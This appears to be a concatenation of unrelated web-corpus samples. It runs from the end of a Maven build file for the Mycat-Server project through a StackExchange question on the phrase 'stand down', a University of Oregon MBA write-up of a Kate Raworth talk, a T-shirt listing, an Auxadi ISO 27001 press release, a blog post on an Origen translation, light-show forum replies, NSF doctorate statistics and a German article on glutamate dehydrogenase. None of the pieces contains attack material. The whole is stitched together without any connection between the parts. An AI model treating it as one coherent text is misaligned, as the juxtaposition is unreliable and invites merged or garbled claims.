										<groupId>com.google.code.maven-replacer-plugin</groupId>
										<artifactId>replacer</artifactId>
										<versionRange>[1.0.0,)</versionRange>
										<goals>
											<goal>replace</goal>
										</goals>
									</pluginExecutionFilter>
									<action>
										<ignore />
									</action>
								</pluginExecution>
							</pluginExecutions>
						</lifecycleMappingMetadata>
					</configuration>
				</plugin>
			</plugins>
		</pluginManagement>
		<plugins>
			<plugin>
				<artifactId>maven-compiler-plugin</artifactId>
			</plugin>

			<plugin>
				<artifactId>maven-resources-plugin</artifactId>
				<executions>
					<execution>
						<phase>compile</phase>
					</execution>
				</executions>
			</plugin>
			<plugin>
				<groupId>org.apache.maven.plugins</groupId>
				<artifactId>maven-dependency-plugin</artifactId>
				<executions>
					<execution>
						<id>copy-dependencies</id>
						<phase>package</phase>
						<goals>
							<goal>copy-dependencies</goal>
						</goals>
						<configuration>
							<outputDirectory>src/main/webapp/WEB-INF/lib</outputDirectory>
							<excludeTransitive>true</excludeTransitive>
							<stripVersion>false</stripVersion>
							<overWriteIfNewer>true</overWriteIfNewer>
							<excludes>
								<excludeArtifactIds>XmlSchema</excludeArtifactIds>
							</excludes>
						</configuration>
					</execution>
				</executions>
			</plugin>
			<plugin>
				<groupId>org.apache.maven.plugins</groupId>
				<artifactId>maven-scm-plugin</artifactId>
				<configuration>
					<providerImplementations>
						<git>jgit</git>
					</providerImplementations>
				</configuration>
				<dependencies>
					<dependency>
						<groupId>org.apache.maven.scm</groupId>
						<artifactId>maven-scm-provider-jgit</artifactId>
						<version>1.9.2</version>
					</dependency>
				</dependencies>
			</plugin>

			<plugin>
				<groupId>org.codehaus.mojo</groupId>
				<artifactId>buildnumber-maven-plugin</artifactId>
				<executions>
					<execution>
						<phase>validate</phase>
						<goals>
							<goal>create</goal>
						</goals>
					</execution>
				</executions>
				<configuration>
					<format>{1}</format>
					<items>
						<item>timestamp</item>
						<item>scmVersion</item>
					</items>
					<doCheck>false</doCheck>
					<doUpdate>false</doUpdate>
					<timestampFormat>{0,date,yyyyMMddHHmmss}</timestampFormat>
					<providerImplementations>
						<git>git</git>
					</providerImplementations>

				</configuration>
				<dependencies>
					<dependency>
						<groupId>org.apache.maven.scm</groupId>
						<artifactId>maven-scm-provider-gitexe</artifactId>
						<version>RELEASE</version>
					</dependency>
					<dependency>
						<groupId>org.tmatesoft.svnkit</groupId>
						<artifactId>svnkit</artifactId>
						<version>RELEASE</version>
					</dependency>
				</dependencies>

			</plugin>
			<plugin>
				<groupId>com.google.code.maven-replacer-plugin</groupId>
				<artifactId>replacer</artifactId>
				<executions>
					<execution>
						<id>version</id>
						<phase>process-sources</phase>
						<goals>
							<goal>replace</goal>
						</goals>
						<configuration>
							<file>${project.basedir}/${version.template.file}</file>
							<outputFile>${project.basedir}/src/main/webapp/${version.file}</outputFile>
							<replacements>
								<replacement>
									<token>@buildnumber@</token>
									<value>${buildNumber}</value>
								</replacement>
								<replacement>
									<token>@buildtime@</token>
									<value>${maven.build.timestamp}</value>
								</replacement>
								<replacement>
									<token>@pomversion@</token>
									<value>${project.version}</value>
								</replacement>
								<replacement>
									<token>@giturl@</token>
									<value>https://github.com/MyCATApache/Mycat-Server.git</value>
								</replacement>
								<replacement>
									<token>@mycatsite@</token>
									<value>http://www.mycat.org.cn</value>
								</replacement>
								<replacement>
									<token>@qqgroup@</token>
									<value>106088787</value>
								</replacement>
							</replacements>
						</configuration>
					</execution>
				</executions>
			</plugin>
			<plugin>
				<artifactId>maven-assembly-plugin</artifactId>
				<configuration>
					<descriptors>
						<descriptor>src/main/assembly/assembly-win.xml</descriptor>
						<descriptor>src/main/assembly/assembly-linux.xml</descriptor>
					</descriptors>
				</configuration>
				<executions>
					<execution>
						<id>make-assembly</id>
						<phase>package</phase>
						<goals>
							<goal>single</goal>
						</goals>
					</execution>
				</executions>
			</plugin>
		</plugins>
	</build>

</project>

redpajama_set_name: RedPajamaGithub


This shattering statistic crashed into Downing Street, where brows were being mopped and arrangements stood down.
This is a usage of the phrase "stand down" that I have never seen/heard before. I looked up The Free Dictionary and none of its definitions explains this usage. What does "stand down" mean here? And are there other examples of this usage that can be found in dictionaries?
Some arrangements that had been made ready were no longer needed or wanted due to the "shattering statistic", so they were made unready, i.e. stood down.
"stand down" is a naval term originally i believe. A common military term. It means to stop, halt, delay, in this case the arrangements which were being made.
Not the answer you're looking for? Browse other questions tagged phrase-meaning phrase-usage idioms phrases or ask your own question.
"At risk", or "at-risk"? What's the difference?


text:
On September 27, 2019, the Center for Sustainable Business Practices at the Lundquist College of Business brought together an engaged audience of Ducks, alumni, and community members to learn from Kate Raworth, a self-proclaimed renegade economist. The event took place at the University of Oregon White Stag Block in Portland.
Raworth's talk presented a new way to think about economic theory. Elaborating on her book Doughnut Economics: 7 Ways to Think Like a 21st Century Economist, she provided an explicit framework for revising traditional economic evaluations. With pointed examples and visual demonstrations, Raworth called into question the tightly held beliefs that growth is unlimited and something we should always strive for. Her new framework, in the form of a doughnut, incorporates the United Nations' 2015 International Sustainable Development Goals to help illustrate measures of economic success, which Raworth categorizes as the social foundation and the ecological ceiling. The goal is simple: Meet the needs of all people within the means of the planet. Or put simply, stay in the doughnut.
According to Raworth, longstanding theories, such as supply and demand, place currency at the center of market participation, ignoring transactions that don't involve money and devaluing the environment and social costs to business. Students were shown examples of companies who are ahead of the game, engaging in cradle-to-cradle, biomimicry, and the sharing economy. Through such regenerative and distributive business practices, Raworth's doughnut economics is a call to action for leaders at every level to adopt and promote a new mindset for economic measures of success.
Raworth's presentation was especially timely for incoming Oregon MBA students. Throughout our courses, internships, and careers, we will consider doughnut economics as a new model to evaluate economic progress and growth. More information about Raworth's work—including an interactive doughnut and short animated videos for each of the seven ways to think like a 21st economist—can be found on her website.
—Ashley Gilbert, MBA '21; Bill Aksnes-Shanks, MBA '21; and Erik Matisek, MBA '21
Areas of Interest:
Student Perspectives
Oregon MBA
An Award-Winning Recycling Plan
A team of UO MBA students took home the top prize at Zero Waste Washington's 2020 Zero Waste Hackathon.
Oregon MBA Places Third in Princeton Review Rankings
The Oregon MBA was honored by a third-best designation in The Princeton Review's ranking of Best Green MBA programs
Ride-Hailing and Carbon Emissions: A Closer Look
Initial data from research by Lundquist College instructor Joshua Skov and coauthors shows that ride-hailing is not proving to be a low carbon-benefit, at least not in its current form.
Sustainability Across Disciplines
Michael Yoo is among the first cohort of students enrolled in the new sustainable business minor.


Grey T-shirt designed by my good friend Chien from Taiwan and made in Nepal. The sizes are small and they might shrink a little bit during wash. The fabric and fit is soft and comfortable to wear. Fit: Body fit Material: 100% cotton. Shipping included in price.


text:
You are here:Home/Auxadi Corporate/Auxadi achieves the ISO 27001 certification
Auxadi achieves the ISO 27001 certification
Tomás Jiménez2023-01-20T13:18:02+01:0020/01/2023|Categories: Auxadi Corporate|
At Auxadi we're committed to our mission to "make life easier for our clients" and, as a leading company in international accounting, tax and payroll services, that includes having the highest standards of quality, control and security. That is why we're pleased to announce that Auxadi has achieved ISO 27001 certification, International Standard of Information Security.
In accordance with the UNE-EN ISO/IEC 27001:2017, Auxadi has an information security management system in place that supports the activities of our international services, ensuring the highest levels of cybersecurity. This certification complements the ISAE 3402 Type I certification we achieved last year.
To achieve the ISO 27001 certification, our information security management systems were tested and assessed in our operations in Spain, Portugal, the United States and Brazil and they were confirmed to be established, implemented, maintained, and continually improved in accordance with international standards and risk management principles.
This allows us:
to ensure proper data management and information security which is exhaustive, effective, and reliable.
transparency and reinforcement of our processes, through risk management that meets the highest standards.
Víctor Salamanca, CEO of Auxadi, says, "Data management and security is essential to our business. Guaranteeing excellence, quality, and consistency in everything we do is key for Auxadi, including in our IT systems. This certificate confirms our robust provisions for data management, data security, cybersecurity systems – ensuring all are maintained at the highest standard. We're very proud to have attained this confirmation of our system's effectiveness, security, and reliability. "
To find out more about Auxadi's service offering and our unique MySPV technology, speak to our expert team today.
Contact our team today to find out exactly how we can help you
Local Knowledge – International Coverage
Founded in 1979, Auxadi is a family-owned business working for multinational corporations, private equity funds and real estate funds. It's the leading firm in international accounting, tax compliance and payroll services management connecting Europe and the Americas with the rest of the world, offering services in 50 countries. Its client list includes many of the top 100 PERE companies. Headquartered in Madrid, with offices in US and further 22 international subsidiaries, Auxadi serves 1,500+ SPVs across 50 jurisdictions.
Brazil: Increase to minimum wage and ISS contributions
Mexico: CDFI Billing 4.0 and Payment Supplement 2.0


Struck by the Lightning Source … right in the Origen … ouch!
The Origen book – a text and translation of his works on Ezekiel, including masses of catena material – is complete! This afternoon, after a mighty struggle with the crummy online interface that Lightning Source Inc provide their hapless customers, I managed to upload the files and order the full proofs, complete with covers and dust-jackets. Yay!
Less pleasing was my opinion of the following screen, displayed by their system, which showed what percentage of the cover price I would receive, after allowing Amazon (etc) 20%, and deducting LSI's own fees to manufacture the book.
Yes, that's right: of a $45 cover price I get $25. It doesn't pay, this game.
Never mind. We'll sell a few copies of the thing, and then get it online. But it should look very impressive in printed form. Really I think it will!


Discussion in 'Show Off Arena' started by AussieDoug, Dec 27, 2014.
Really enjoyed that. I thought my favourite bit was about 3.10 but then it just got better. You should be proud.
Favorite element was the steps. Thinking outside the box was cool.
Like the way the mini trees were used as well.
Great job overall. You should be very proud.
Great job Doug - looks fantastic!
Great work Doug, nice sequencing and a very neat set up.
Geeat work Doug, you must have had traffic jams around your place.
The steps are just an effect that can be created anywhere with a few coro boxes. In a window, on a wall, it's up to your imagination.
It looked great in real life and the street was packed when I was there.
Hey Doug, great job...must say one of the best ive seen this year.. Very neat and clean. Timing to me is everything.. Well done..


The latest numbers on U.S. doctoral recipients are out. Between July 2015 and June 2016, 32,246 scientists and engineers in the country earned the distinction of being able to add "Ph.D." after their names, according to the most recent National Science Foundation Survey of Earned Doctorates (SED) data released Wednesday. Just over 30% of these new Ph.D. recipients were still figuring out their next step when they filed for their degree. In the life, physical, and earth sciences, a similar number (approximately one-third) were headed to postdoc positions. Among math, computer science, and engineering Ph.D. recipients, on the other hand, about half that proportion (17%) had postdoc plans. For most disciplines, around two-thirds of new Ph.D.s with nonpostdoc plans were moving into R&D positions, as compared with a little less than 50% for those in the life sciences. The data also include updated median salaries by sector and postdoc stipends by disciplines. Overall, this year's numbers are similar to last year's (and those from other recent years). Nonetheless, the SED is a useful way to keep up with trends in graduate education and employment and an impressive trove of data for anyone who wants to dive in themselves to learn more.


text:
Glutamatdehydrogenase (GDH, auch GLDH) heißt das Enzym, das die Reaktion von L-Glutamat, Wasser und NAD(P)+ zu Ammonium, α-Ketoglutarat (2-Oxoglutarat) und NAD(P)H bzw. deren Rückreaktion katalysiert. Damit ist es ein Teil des Stickstoffmetabolismus und für die Fixierung (Assimilation) bzw. Freisetzung (Dissimilation) von Ammonium von zentraler Bedeutung. GDH kommt in vielen Organismen vor. Beim Menschen existieren zwei Gene (GLUD1 und GLUD2), die für zwei Isoformen der GDH codieren, wobei GLUD2 besonders in der Netzhaut, den Hoden und auch im Gehirn exprimiert wird. Mutationen an GLUD1 können zum Hyperinsulinismus-Hyperammonämie-Syndrom führen.

Während die GDHs höherer Eukaryoten beide Co-Faktoren (NADH und NADPH) nutzen können, sind die GDHs von Prokaryoten und niederer Eukaryoten von einem bestimmten Coenzym abhängig (NADH oder NADPH,  und ). Hierbei sind NADPH-abhängigen GDHs üblicherweise anabole Enzyme und katalysieren die Assimilation von Ammonium, während NADH-abhängig GDHs zum Katabolismus beitragen und Ammonium meist dissimilieren.

Vorkommen
Die GDH kommt ausschließlich in Mitochondrien vor, was bei der Diagnostik von Leberschäden eine Rolle spielt. Sie gelangt nämlich anders als Aspartat-Aminotransferase (ASAT) oder Alanin-Aminotransferase (ALAT) erst ins Blut, wenn Leberzellen vollständig zerstört sind.

Katalysierte Reaktion
Die katalysierte Reaktion der GDH bei L-Glutamat (1) ist im Schema unten dargestellt. Dieses wird durch das Enzym zu α-Ketoglutarat (2) desaminiert und oxidiert. Das freigewordene Ammonium (NH4+) kann dabei zur weiteren Dissimilation in den Harnstoffzyklus gelangen.

Aufbau
Bei allen bisher untersuchten GDHs handelt es sich um homomere Enzymkomplexe, welche aus entweder sechs oder vier identischen Untereinheiten aufgebaut sind. Diese Untereinheiten sind entweder 50 kDa, 115 kDa oder 180 kDa groß. GDHs werden entsprechend der Anzahl und Größe der Untereinheiten und auf Grund von Sequenzvergleichen in vier Klassen eingeteilt: α6-50I und α6-50II (kleine GDHs) sowie α4-115 und α6-180 (große GDHs). Den GDHs aller vier Klassen liegt der gleiche katalytische Mechanismus zu Grunde, sie besitzen eine sehr ähnliche Domänenstruktur und zahlreiche stark konservierte Aminosäurereste. Über die Funktion der zusätzlichen Aminosäuren der großen GDHs (α4-115 und α6-180) ist bisher nichts bekannt.

Die GDH aus Clostridium symbiosum ist eine der bisher am besten untersuchten GDHs. Sie ist NADH-abhängig und gehört zur α6-50I-Klasse. Jede der sechs identischen Untereinheiten dieses Enzymkomplexes besteht aus zwei Domänen, welche durch eine Spalte, dem aktiven Zentrum, getrennt sind. Eine der beiden Domänen besitzt die Bindestelle des NADH, während die andere Domäne L-Glutamat bzw. α-Ketoglutarat bindet. Während des katalytischen Zyklus schließt sich der Spalt und die Substrate werden dadurch in eine für die Reaktion günstige Position gebracht.

Siehe auch
 Dehydrogenase
 Aspartat-Aminotransferase

Weblinks

Einzelnachweise

Oxidoreduktase

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